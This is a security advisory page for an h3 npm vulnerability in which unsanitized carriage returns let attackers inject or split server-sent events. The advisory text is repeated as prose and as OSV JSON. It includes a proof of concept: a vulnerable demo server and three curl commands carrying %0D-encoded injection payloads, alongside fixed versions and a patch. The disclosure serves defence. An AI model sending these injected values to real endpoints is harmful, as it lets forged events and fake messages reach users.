GHSA-4hxc-9384-m385: H3 SSE Event Injection Vulnerability

MODERATE
CVSS 5.3
CWE-74
Published
Advisory Summary

GHSA-4hxc-9384-m385 is a MODERATE (CVSS 5.3) sse event injection vulnerability (CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')) affecting H3 libraries in the npm ecosystem. The issue involves sse event injection via unsanitized carriage return (`\r`) in eventstream data and comment fields (bypass of cve fix). Remediation is available by upgrading affected packages to version 2.0.1-rc.17, 1.15.9.

GHSA-4hxc-9384-m385 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-4hxc-9384-m385
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Affected Product H3
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix GHSA-4hxc-9384-m385

To remediate this vulnerability, upgrade all affected H3 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

h3 fixed: 2.0.1-rc.17
npm install h3@2.0.1-rc.17
h3 fixed: 1.15.9
npm install h3@1.15.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls h3

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-4hxc-9384-m385, inspect your project dependencies using npm:

npm ls h3

Analyze the terminal output to locate any version of H3 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.1-rc.17), your application is affected.

Note: The npm ls h3 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), where the product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. In H3, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `EventStream` class in h3 fails to sanitize carriage return (`\r`) characters in `data` and `comment` fields. Per the SSE specification, `\r` is a valid line terminator, so browsers interpret injected `\r` as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single `push()` call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit `7791538` which addressed `\n` injection but missed `\r`-only injection. ## Details The prior fix in commit `7791538` added `_sanitizeSingleLine()` to strip `\n` and `\r` from `id` and `event` fields, and changed `data` formatting to split on `\n`. However, two code paths remain vulnerable: ### 1. `data` field — `formatEventStreamMessage()` (`src/utils/internal/event-stream.ts:190-193`) ```typescript const data = typeof message.data === "string" ? message.data : ""; for (const line of data.split("\n")) { // Only splits on \n, not \r result += `data: ${line}\n`; } ``` `String.prototype.split("\n")` does **not** split on `\r`. A string like `"legit\revent: evil"` remains as a single "line" and is emitted as: ``` data: legit\revent: evil\n ``` Per the [SSE specification §9.2.6](https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation), `\r` alone is a valid line terminator. The browser parses this as two separate lines: ``` data: legit event: evil ``` ### 2. `comment` field — `formatEventStreamComment()` (`src/utils/internal/event-stream.ts:170-177`) ```typescript export function formatEventStreamComment(comment: string): string { return ( comment .split("\n") // Only splits on \n, not \r .map((l) => `: ${l}\n`) .join("") + "\n" ); } ``` The same `split("\n")` pattern means `\r` in comments is not handled. An input like `"x\rdata: injected"` produces: ``` : x\rdata: injected\n\n ``` Which the browser parses as a comment line followed by actual data: ``` : x data: injected ``` ### Why `_sanitizeSingleLine` doesn't help The `_sanitizeSingleLine` function at line 198 correctly strips both `\r` and `\n`: ```typescript function _sanitizeSingleLine(value: string): string { return value.replace(/[\n\r]/g, ""); } ``` But it is **only applied to `id` and `event` fields** (lines 182, 185), not to `data` or `comment`. ## PoC ### Setup Create a minimal h3 application that reflects user input into an SSE stream: ```javascript // server.mjs import { createApp, createEventStream, defineEventHandler, getQuery } from "h3"; const app = createApp(); app.use("/sse", defineEventHandler(async (event) => { const stream = createEventStream(event); const { msg } = getQuery(event); // Simulates user-controlled input flowing to SSE (common in chat/AI apps) await stream.push(String(msg)); setTimeout(() => stream.close(), 1000); return stream.send(); })); export default app; ``` ### Attack 1: Event type injection via `\r` in data ```bash # Inject an "event: evil" directive via \r in data curl -N --no-buffer "http://localhost:3000/sse?msg=legit%0Devent:%20evil" ``` **Expected (safe) wire output:** ``` data: legit\revent: evil\n\n ``` **Browser parses as:** ``` data: legit event: evil ``` The browser's `EventSource` fires a custom `evil` event instead of the default `message` event, potentially routing data to unintended handlers. ### Attack 2: Message boundary injection (event splitting) ```bash # Inject a message boundary (\r\r = empty line) to split one push() into two events curl -N --no-buffer "http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected" ``` **Browser parses as two separate events:** 1. Event 1: `data: first` 2. Event 2: `data: injected` A single `push()` call produces two distinct events in the browser — the attacker controls the second event's content entirely. ### Attack 3: Comment escape to data injection ```bash # Inject via pushComment() — escape from comment into data curl -N --no-buffer "http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected" ``` **Browser parses as:** ``` : x (comment, ignored) data: injected (real data, dispatched as event) ``` ## Impact - **Event spoofing:** Attacker can inject arbitrary `event:` types, causing browsers to dispatch events to different `EventSource.addEventListener()` handlers than intended. In applications that use custom event types for control flow (e.g., `error`, `done`, `system`), this enables UI manipulation. - **Message boundary injection:** A single `push()` call can be split into multiple browser-side events. This breaks application-level framing assumptions — e.g., a chat message could appear as two messages, or an injected "system" message could appear in an AI chat interface. - **Comment-to-data escalation:** Data can be injected through what the application considers a harmless comment field via `pushComment()`. - **Bypass of existing security control:** The prior fix (commit `7791538`) explicitly intended to prevent SSE injection, demonstrating the project considers this a security issue. The incomplete fix creates a false sense of security. ## Recommended Fix Both `formatEventStreamMessage` and `formatEventStreamComment` should split on `\r`, `\n`, and `\r\n` — matching the SSE spec's line terminator definition. ```typescript // src/utils/internal/event-stream.ts // Add a shared regex for SSE line terminators const SSE_LINE_SPLIT = /\r\n|\r|\n/; export function formatEventStreamComment(comment: string): string { return ( comment .split(SSE_LINE_SPLIT) // was: .split("\n") .map((l) => `: ${l}\n`) .join("") + "\n" ); } export function formatEventStreamMessage(message: EventStreamMessage): string { let result = ""; if (message.id) { result += `id: ${_sanitizeSingleLine(message.id)}\n`; } if (message.event) { result += `event: ${_sanitizeSingleLine(message.event)}\n`; } if (typeof message.retry === "number" && Number.isInteger(message.retry)) { result += `retry: ${message.retry}\n`; } const data = typeof message.data === "string" ? message.data : ""; for (const line of data.split(SSE_LINE_SPLIT)) { // was: data.split("\n") result += `data: ${line}\n`; } result += "\n"; return result; } ``` This ensures all three SSE-spec line terminators (`\r\n`, `\r`, `\n`) are properly handled as line boundaries, preventing `\r` from being passed through to the browser where it would be interpreted as a line break.

GHSA-4hxc-9384-m385 Affected H3 Versions

2 component(s)
Fixed Versions:
2.0.1-rc.171.15.9
Product / Package Ecosystem Affected Versions Fixed Version
h3
npm
≥ 2.0.0-beta.0
< 2.0.1-rc.17
2.0.1-rc.17
h3
npm
< 1.15.9
1.15.9

References

Frequently Asked Questions

What is GHSA-4hxc-9384-m385?
GHSA-4hxc-9384-m385 is a security vulnerability in H3 involving SSE Event Injection via Unsanitized Carriage Return (`\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix) under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection').
Which H3 versions are affected?
Affected versions include releases prior to 2.0.1-rc.17, 1.15.9 across affected packages: h3.
What version fixes GHSA-4hxc-9384-m385?
Upgrading to 2.0.1-rc.17, 1.15.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is h3 affected?
Yes, h3 is affected in releases prior to 2.0.1-rc.17, 1.15.9. Upgrade your dependency to 2.0.1-rc.17, 1.15.9 or later.
What is the CVSS score of GHSA-4hxc-9384-m385?
GHSA-4hxc-9384-m385 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N.
What CWE is associated with GHSA-4hxc-9384-m385?
GHSA-4hxc-9384-m385 is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.).
How can I check npm dependencies for GHSA-4hxc-9384-m385?
Run the dependency tree command: 'npm ls h3'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4hxc-9384-m385",
  "modified" : "2026-03-20T20:50:38Z",
  "published" : "2026-03-20T20:50:38Z",
  "aliases" : [ ],
  "summary" : "h3: SSE Event Injection via Unsanitized Carriage Return (`\\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix)",
  "details" : "## Summary\n\nThe `EventStream` class in h3 fails to sanitize carriage return (`\\r`) characters in `data` and `comment` fields. Per the SSE specification, `\\r` is a valid line terminator, so browsers interpret injected `\\r` as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single `push()` call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit `7791538` which addressed `\\n` injection but missed `\\r`-only injection.\n\n## Details\n\nThe prior fix in commit `7791538` added `_sanitizeSingleLine()` to strip `\\n` and `\\r` from `id` and `event` fields, and changed `data` formatting to split on `\\n`. However, two code paths remain vulnerable:\n\n### 1. `data` field — `formatEventStreamMessage()` (`src/utils/internal/event-stream.ts:190-193`)\n\n```typescript\nconst data = typeof message.data === \"string\" ? message.data : \"\";\nfor (const line of data.split(\"\\n\")) {  // Only splits on \\n, not \\r\n  result += `data: ${line}\\n`;\n}\n```\n\n`String.prototype.split(\"\\n\")` does **not** split on `\\r`. A string like `\"legit\\revent: evil\"` remains as a single \"line\" and is emitted as:\n\n```\ndata: legit\\revent: evil\\n\n```\n\nPer the [SSE specification §9.2.6](https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation), `\\r` alone is a valid line terminator. The browser parses this as two separate lines:\n\n```\ndata: legit\nevent: evil\n```\n\n### 2. `comment` field — `formatEventStreamComment()` (`src/utils/internal/event-stream.ts:170-177`)\n\n```typescript\nexport function formatEventStreamComment(comment: string): string {\n  return (\n    comment\n      .split(\"\\n\")  // Only splits on \\n, not \\r\n      .map((l) => `: ${l}\\n`)\n      .join(\"\") + \"\\n\"\n  );\n}\n```\n\nThe same `split(\"\\n\")` pattern means `\\r` in comments is not handled. An input like `\"x\\rdata: injected\"` produces:\n\n```\n: x\\rdata: injected\\n\\n\n```\n\nWhich the browser parses as a comment line followed by actual data:\n\n```\n: x\ndata: injected\n```\n\n### Why `_sanitizeSingleLine` doesn't help\n\nThe `_sanitizeSingleLine` function at line 198 correctly strips both `\\r` and `\\n`:\n\n```typescript\nfunction _sanitizeSingleLine(value: string): string {\n  return value.replace(/[\\n\\r]/g, \"\");\n}\n```\n\nBut it is **only applied to `id` and `event` fields** (lines 182, 185), not to `data` or `comment`.\n\n## PoC\n\n### Setup\n\nCreate a minimal h3 application that reflects user input into an SSE stream:\n\n```javascript\n// server.mjs\nimport { createApp, createEventStream, defineEventHandler, getQuery } from \"h3\";\n\nconst app = createApp();\n\napp.use(\"/sse\", defineEventHandler(async (event) => {\n  const stream = createEventStream(event);\n  const { msg } = getQuery(event);\n\n  // Simulates user-controlled input flowing to SSE (common in chat/AI apps)\n  await stream.push(String(msg));\n\n  setTimeout(() => stream.close(), 1000);\n  return stream.send();\n}));\n\nexport default app;\n```\n\n### Attack 1: Event type injection via `\\r` in data\n\n```bash\n# Inject an \"event: evil\" directive via \\r in data\ncurl -N --no-buffer \"http://localhost:3000/sse?msg=legit%0Devent:%20evil\"\n```\n\n**Expected (safe) wire output:**\n```\ndata: legit\\revent: evil\\n\\n\n```\n\n**Browser parses as:**\n```\ndata: legit\nevent: evil\n```\n\nThe browser's `EventSource` fires a custom `evil` event instead of the default `message` event, potentially routing data to unintended handlers.\n\n### Attack 2: Message boundary injection (event splitting)\n\n```bash\n# Inject a message boundary (\\r\\r = empty line) to split one push() into two events\ncurl -N --no-buffer \"http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected\"\n```\n\n**Browser parses as two separate events:**\n1. Event 1: `data: first`\n2. Event 2: `data: injected`\n\nA single `push()` call produces two distinct events in the browser — the attacker controls the second event's content entirely.\n\n### Attack 3: Comment escape to data injection\n\n```bash\n# Inject via pushComment() — escape from comment into data\ncurl -N --no-buffer \"http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected\"\n```\n\n**Browser parses as:**\n```\n: x          (comment, ignored)\ndata: injected  (real data, dispatched as event)\n```\n\n## Impact\n\n- **Event spoofing:** Attacker can inject arbitrary `event:` types, causing browsers to dispatch events to different `EventSource.addEventListener()` handlers than intended. In applications that use custom event types for control flow (e.g., `error`, `done`, `system`), this enables UI manipulation.\n- **Message boundary injection:** A single `push()` call can be split into multiple browser-side events. This breaks application-level framing assumptions — e.g., a chat message could appear as two messages, or an injected \"system\" message could appear in an AI chat interface.\n- **Comment-to-data escalation:** Data can be injected through what the application considers a harmless comment field via `pushComment()`.\n- **Bypass of existing security control:** The prior fix (commit `7791538`) explicitly intended to prevent SSE injection, demonstrating the project considers this a security issue. The incomplete fix creates a false sense of security.\n\n## Recommended Fix\n\nBoth `formatEventStreamMessage` and `formatEventStreamComment` should split on `\\r`, `\\n`, and `\\r\\n` — matching the SSE spec's line terminator definition.\n\n```typescript\n// src/utils/internal/event-stream.ts\n\n// Add a shared regex for SSE line terminators\nconst SSE_LINE_SPLIT = /\\r\\n|\\r|\\n/;\n\nexport function formatEventStreamComment(comment: string): string {\n  return (\n    comment\n      .split(SSE_LINE_SPLIT)  // was: .split(\"\\n\")\n      .map((l) => `: ${l}\\n`)\n      .join(\"\") + \"\\n\"\n  );\n}\n\nexport function formatEventStreamMessage(message: EventStreamMessage): string {\n  let result = \"\";\n  if (message.id) {\n    result += `id: ${_sanitizeSingleLine(message.id)}\\n`;\n  }\n  if (message.event) {\n    result += `event: ${_sanitizeSingleLine(message.event)}\\n`;\n  }\n  if (typeof message.retry === \"number\" && Number.isInteger(message.retry)) {\n    result += `retry: ${message.retry}\\n`;\n  }\n  const data = typeof message.data === \"string\" ? message.data : \"\";\n  for (const line of data.split(SSE_LINE_SPLIT)) {  // was: data.split(\"\\n\")\n    result += `data: ${line}\\n`;\n  }\n  result += \"\\n\";\n  return result;\n}\n```\n\nThis ensures all three SSE-spec line terminators (`\\r\\n`, `\\r`, `\\n`) are properly handled as line boundaries, preventing `\\r` from being passed through to the browser where it would be interpreted as a line break.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "h3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0-beta.0"
      }, {
        "fixed" : "2.0.1-rc.17"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.0.1-rc.16"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "h3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.15.9"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/h3js/h3/security/advisories/GHSA-4hxc-9384-m385"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/h3js/h3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-20T20:50:38Z",
    "nvd_published_at" : null
  }
}